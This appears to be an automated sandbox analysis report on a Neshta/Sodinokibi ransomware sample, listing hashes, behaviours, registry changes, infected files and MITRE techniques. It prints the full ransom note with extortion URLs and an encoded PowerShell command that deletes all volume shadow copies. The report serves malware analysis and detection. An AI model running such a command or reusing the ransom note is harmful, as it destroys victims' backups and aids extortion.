neshta | 329c2d67530a45ae10a9f029079002e63b8d4b047ebfce81c089b36ad63b4915

General

Target

23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
Size

219KB
MD5

23e2e231d941268aa54c5dbe465506e4
SHA1

7d7508cebe74f05abe64f46fdd74c8f7a2130c53
SHA256

329c2d67530a45ae10a9f029079002e63b8d4b047ebfce81c089b36ad63b4915
SHA512

fff902956992c68f2db01b5ed24802790834abae0aeb445e417144b54002887b8d132f083fd47239293fe858e239d1154f262e909ff8bba83ff0539f7a0d297d
SSDEEP

3072:sr85CgsKdFiWjmfb+HP+rnRfUSFDnalgugo4sRGsFHfl:k9gNHjmfCHWtUUigVsTpl

Score

10^/10

neshta sodinokibi persistence ransomware spyware stealer

Malware Config

Extracted

Path

C:\Users\7099o2-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on you computer has expansion 7099o2. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/263AE02BB9EA7CA4 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.top/263AE02BB9EA7CA4 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: ffcr1vlsH1vvNYd5jVqJ77hLwS5iDZ/pGcxF9kIM8Ga8s7BUrGGLhBh/nneBIYj6 hFV5fcVFistmc7wfU54zltlMi26B2l1OeAdhio0ECbIWH0gkeUO4F+eUoJbKGCRU R1Z8SD0vCxUMViAv/f3QcK37ycp3Uk0KItTmHd+JPnjuIyBTlXfpsPb0moMDukQY BLXgBGZakq/Me6Anddc1SuM/riVysthNrUmliagOyQklbHJWMjfJmf5wPpmQffCP Dst/VWJJ3aC8SSEC9Bcij8Pylm7gwD+IGUav0RIwL0XOsqxCAMZYa+mBXe3pJlpJ v3+BJ2Nga+tfahVBuiu4UQEZTFVNQHSZZVv8MyzGRqpLzzLKuSkc95jKbwDlrFNA R982IHegmgmo18yJcVDpgNi9aYAOz4C6YtLdzBT0Mu+W0Z6UXSyx/Ucf04KXA6p6 KGpvlp4QBWe7iHS217Jp1ubRCSrzoO/3zPhSiBhb24+UIbSZEqSqQqhoRGQsSwb3 8db0/OEd2WDSAyU9pAzm/SPpYNXnfr+awMMpGDOFOyLdAEFD266rgYjhwGHNZmZy K/Kh4whumq730ho8UNu22/2Fgjdka/kNdbzOPsXSV1MUFf44wtANQvJTTEMoPS2z fiLZUSbVkM6KosrURbFlelGKbTFeg2N0w8cxPvmO/DFuxQFnf3yzdGWjKF/m+uy6 sbM8Spxw9S4Nc2noQWLCfhJs//JMRFcYjz4MIpZ5xJzJDrB7tcuZYwEEwvKyPLXX Zawbg7YJf/iLxfCU9gZHfDj4+kKvZSBfXGtZ1yPhfk/Gbw//OcN4K8PJlYmc/3Wh ip06WmbY+DrnSRgvIxd1yJAiovgi8GJIYXPylyjMA3hS8Ms1FvwBXBl12xdznBcZ 1N/SXAT6iKWM37icdNrs/5+je/zWkKgOb+TCrt2+3v4PS/pr7CMXF5jwB/Qw8T0K rXade4eTU+1XkvZj5jLXi2z5lsnGi+hnZqjy2a7Dl5ZctgoCFwWVpv77ZCVA6bVV 96My0b69PAjGQN5mfmnmvE2m5k0hBEvi6ve7UWCFframeTVKG646/DrZ9I/vR1I9 8PnRtCDaA0IEj8bswMKqyzomX7RUQaGzoOvzKunNK1YTe4axN8VGHYcePQj78Liy TAjM1eMFB+cmCAOSntoRHEuvOj2OMeSUGQnbIy+4QQdiIgFCSuCcZo1LrUga/3hg 02FIE8rm1DdahXrcacg= Extension name: 7099o2 ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/263AE02BB9EA7CA4

http://decryptor.top/263AE02BB9EA7CA4

Signatures

Detect Neshta payload 4 IoCs

Processes:

resource	yara_rule
C:\PROGRA~2\Adobe\ACROBA~1\Reader\ACROTE~1.EXE	family_neshta
behavioral2/memory/4000-241-0x0000000000400000-0x000000000041B000-memory.dmp	family_neshta
behavioral2/memory/4000-451-0x0000000000400000-0x000000000041B000-memory.dmp	family_neshta
behavioral2/memory/4000-781-0x0000000000400000-0x000000000041B000-memory.dmp	family_neshta

Neshta
Malware from the neshta family is designed to infect itself into other files to spread itself and cause damage.
persistence spyware neshta
Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi

Sodinokibi/Revil sample 1 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\3582-490\23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe	family_sodinokobi

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-17203666-93769886-2545153620-1000\Control Panel\International\Geo\Nation	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe

Executes dropped EXE 1 IoCs

Processes:

23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe

pid process

4204 23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe

Modifies system executable filetype association 2 TTPs 1 IoCs

persistence

Modify Registry

T1112

Change Default File Association

T1546.001

Processes:

23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open\command\ = "C:\\Windows\\svchost.com \"%1\" %*"	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe

description	ioc	process
File opened (read-only)	\??\J:	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
File opened (read-only)	\??\N:	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
File opened (read-only)	\??\P:	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
File opened (read-only)	\??\R:	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
File opened (read-only)	\??\W:	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
File opened (read-only)	\??\E:	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
File opened (read-only)	\??\T:	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
File opened (read-only)	\??\V:	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
File opened (read-only)	\??\Z:	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
File opened (read-only)	\??\D:	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
File opened (read-only)	\??\A:	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
File opened (read-only)	\??\I:	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
File opened (read-only)	\??\K:	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
File opened (read-only)	\??\Q:	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
File opened (read-only)	\??\Y:	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
File opened (read-only)	\??\S:	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
File opened (read-only)	\??\X:	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
File opened (read-only)	\??\F:	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
File opened (read-only)	\??\G:	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
File opened (read-only)	\??\U:	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
File opened (read-only)	\??\B:	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
File opened (read-only)	\??\L:	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
File opened (read-only)	\??\H:	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
File opened (read-only)	\??\M:	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
File opened (read-only)	\??\O:	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-17203666-93769886-2545153620-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\p270.bmp"	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe

Drops file in Program Files directory 64 IoCs

Processes:

23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe

description	ioc	process
File opened for modification	\??\c:\program files\SplitNew.xltm	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\920902~1.67\COOKIE~1.EXE	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
File created	\??\c:\program files\7099o2-readme.txt	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
File opened for modification	\??\c:\program files\SetRead.001	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
File opened for modification	C:\PROGRA~3\PACKAG~1\{61087~1\VCREDI~1.EXE	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
File opened for modification	\??\c:\program files\RegisterDebug.aif	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
File opened for modification	\??\c:\program files\UnregisterUninstall.html	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.371\GOBD5D~1.EXE	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\920902~1.67\ELEVAT~1.EXE	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\MOZILL~1\UNINST~1.EXE	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.371\GO664E~1.EXE	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
File opened for modification	\??\c:\program files\MountSubmit.mpeg	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
File opened for modification	\??\c:\program files\ClearCompress.html	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
File opened for modification	\??\c:\program files\ShowStart.DVR-MS	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.371\GOOGLE~3.EXE	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\MICROS~1\EDGEUP~1\13147~1.37\MI9C33~1.EXE	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\WINDOW~4\wmpconfig.exe	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\920902~1.67\msedge.exe	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\WINDOW~3\ACCESS~1\wordpad.exe	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
File opened for modification	C:\PROGRA~3\MICROS~1\CLICKT~1\{9AC08~1\INTEGR~1.EXE	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
File opened for modification	\??\c:\program files\UninstallBackup.zip	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\COMMON~1\Java\JAVAUP~1\jusched.exe	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\COMMON~1\MICROS~1\MSInfo\msinfo32.exe	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\920902~1.67\IDENTI~1.EXE	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\MICROS~1\EDGEUP~1\13147~1.37\MID1AD~1.EXE	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\ADelRCP.exe	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\plug_ins\PI_BRO~1\32BITM~1.EXE	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\920902~1.67\BHO\IE_TO_~1.EXE	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\920902~1.67\MSEDGE~2.EXE	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\MICROS~1\EDGEUP~1\13147~1.37\MICROS~2.EXE	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\Browser\WCCHRO~1\WCCHRO~1.EXE	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\920902~1.67\INSTAL~1\setup.exe	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\PWAHEL~1.EXE	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
File opened for modification	\??\c:\program files\ReceiveSelect.jpeg	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\READER~1.EXE	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\WINDOW~4\setup_wm.exe	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\920902~1.67\NOTIFI~1.EXE	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\WINDOW~4\wmlaunch.exe	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
File opened for modification	\??\c:\program files\ShowReset.WTV	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\ACROBR~1.EXE	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.371\GOOGLE~1.EXE	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\INTERN~1\iexplore.exe	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\COMMON~1\Adobe\ARM\1.0\AdobeARM.exe	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\WINDOW~4\wmprph.exe	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
File opened for modification	\??\c:\program files\SubmitConfirm.vst	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
File opened for modification	\??\c:\program files\GroupWait.css	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
File opened for modification	\??\c:\program files\UnpublishUninstall.xhtml	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\AcroCEF\RdrCEF.exe	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\INTERN~1\ExtExport.exe	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\WINDOW~4\wmpshare.exe	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\INTERN~1\ieinstal.exe	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
File opened for modification	C:\PROGRA~3\PACKAG~1\{D87AE~1\WINDOW~1.EXE	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
File opened for modification	\??\c:\program files\SendResize.7z	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\MICROS~1\EDGEUP~1\Download\{F3C4F~1\13185~1.29\MICROS~1.EXE	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\WINDOW~4\wmplayer.exe	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\ADOBEC~1.EXE	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\COMMON~1\Oracle\Java\javapath\java.exe	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\920902~1.67\PWAHEL~1.EXE	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.371\GOOGLE~4.EXE	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
File opened for modification	\??\c:\program files\RestartConfirm.wm	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\WOW_HE~1.EXE	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\msedge.exe	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\MICROS~1\EDGEUP~1\13147~1.37\MICROS~4.EXE	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\AcroRd32.exe	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe

Drops file in Windows directory 1 IoCs

Processes:

23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe

description ioc process

File opened for modification C:\Windows\svchost.com 23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

description	ioc	process
File opened for modification	C:\Windows\svchost.com	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe

Modifies registry class 1 IoCs

Processes:

23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open\command\ = "C:\\Windows\\svchost.com \"%1\" %*"	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exepowershell.exe

pid	process
4204	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
4204	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
1536	powershell.exe
1536	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

powershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	1536	powershell.exe
Token: SeBackupPrivilege	4588	vssvc.exe
Token: SeRestorePrivilege	4588	vssvc.exe
Token: SeAuditPrivilege	4588	vssvc.exe

Suspicious use of WriteProcessMemory 5 IoCs

Processes:

23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe

description	pid	process	target process
PID 4000 wrote to memory of 4204	4000	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
PID 4000 wrote to memory of 4204	4000	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
PID 4000 wrote to memory of 4204	4000	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
PID 4204 wrote to memory of 1536	4204	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe	powershell.exe
PID 4204 wrote to memory of 1536	4204	23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe	powershell.exe

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- Modifies system executable filetype association
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4000

C:\Users\Admin\AppData\Local\Temp\3582-490\23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\3582-490\23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe"
2⤵
- Executes dropped EXE
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4204

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1536

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:5044

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4588

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Event Triggered Execution

1

T1546

Change Default File Association

1

T1546.001

Privilege Escalation

Event Triggered Execution

1

T1546

Change Default File Association

1

T1546.001

Defense Evasion

Modify Registry

2

T1112

Credential Access

Unsecured Credentials

1

T1552

Credentials In Files

1

T1552.001

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

3

T1082

Lateral Movement

Collection

Data from Local System

1

T1005

Command and Control

Exfiltration

Impact

Defacement

1

T1491

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Downloads

C:\PROGRA~2\Adobe\ACROBA~1\Reader\ACROTE~1.EXE
Filesize
86KB

MD5
3b73078a714bf61d1c19ebc3afc0e454

SHA1
9abeabd74613a2f533e2244c9ee6f967188e4e7e

SHA256
ded54d1fcca07b6bff2bc3b9a1131eac29ff1f836e5d7a7c5c325ec5abe96e29

SHA512
75959d4e8a7649c3268b551a2a378e6d27c0bfb03d2422ebeeb67b0a3f78c079473214057518930f2d72773ce79b106fd2d78405e8e3d8883459dcbb49c163c4

Download Submit
C:\Users\7099o2-readme.txt
Filesize
6KB

MD5
09550eb6f7c673ca8ef502b50071a820

SHA1
2ee1c2a7acb71209b0c6179ddd6c86af402dd5d2

SHA256
8aa5875c0abb9cc98ac53bceb74f0719f043568142354b1fb317bdc1bda408f5

SHA512
4ae088069ea64a4d1ceff48dbed1e5bbf684d9329abacbca1a72db10fd717659404b8d8b7b69c474e667b859e9b07aac4bd9caa75f4eeaef13fa3926ef0b18cc

Download Submit
C:\Users\Admin\AppData\Local\Temp\3582-490\23e2e231d941268aa54c5dbe465506e4_JaffaCakes118.exe
Filesize
178KB

MD5
8c1561ca54045cb6934c62711e16e6fe

SHA1
6708d111176432e753f3564b2ad7c0233408d739

SHA256
67a1130899695f2a2afa490ac62d6641c6bf0dc5dd3a63e786e806454214f36f

SHA512
58951d028c7c7acfe8f5c5936b625e2f49bda8455d25da9fd446bfa016b5501ea5d29de323d9dee179bcdc2dd75d9e1b78fd489c9b9fc965de35862535b883ca

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2y2zkn35.gr4.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1536-96-0x00007FFF7D1C3000-0x00007FFF7D1C5000-memory.dmp

Filesize
8KB

Download
memory/1536-107-0x00007FFF7D1C0000-0x00007FFF7DC81000-memory.dmp

Filesize
10.8MB

Download
memory/1536-106-0x000001F0F6810000-0x000001F0F6832000-memory.dmp

Filesize
136KB

Download
memory/1536-108-0x00007FFF7D1C0000-0x00007FFF7DC81000-memory.dmp

Filesize
10.8MB

Download
memory/1536-111-0x00007FFF7D1C0000-0x00007FFF7DC81000-memory.dmp

Filesize
10.8MB

Download
memory/4000-241-0x0000000000400000-0x000000000041B000-memory.dmp

Filesize
108KB

Download
memory/4000-451-0x0000000000400000-0x000000000041B000-memory.dmp

Filesize
108KB

Download
memory/4000-781-0x0000000000400000-0x000000000041B000-memory.dmp

Filesize
108KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads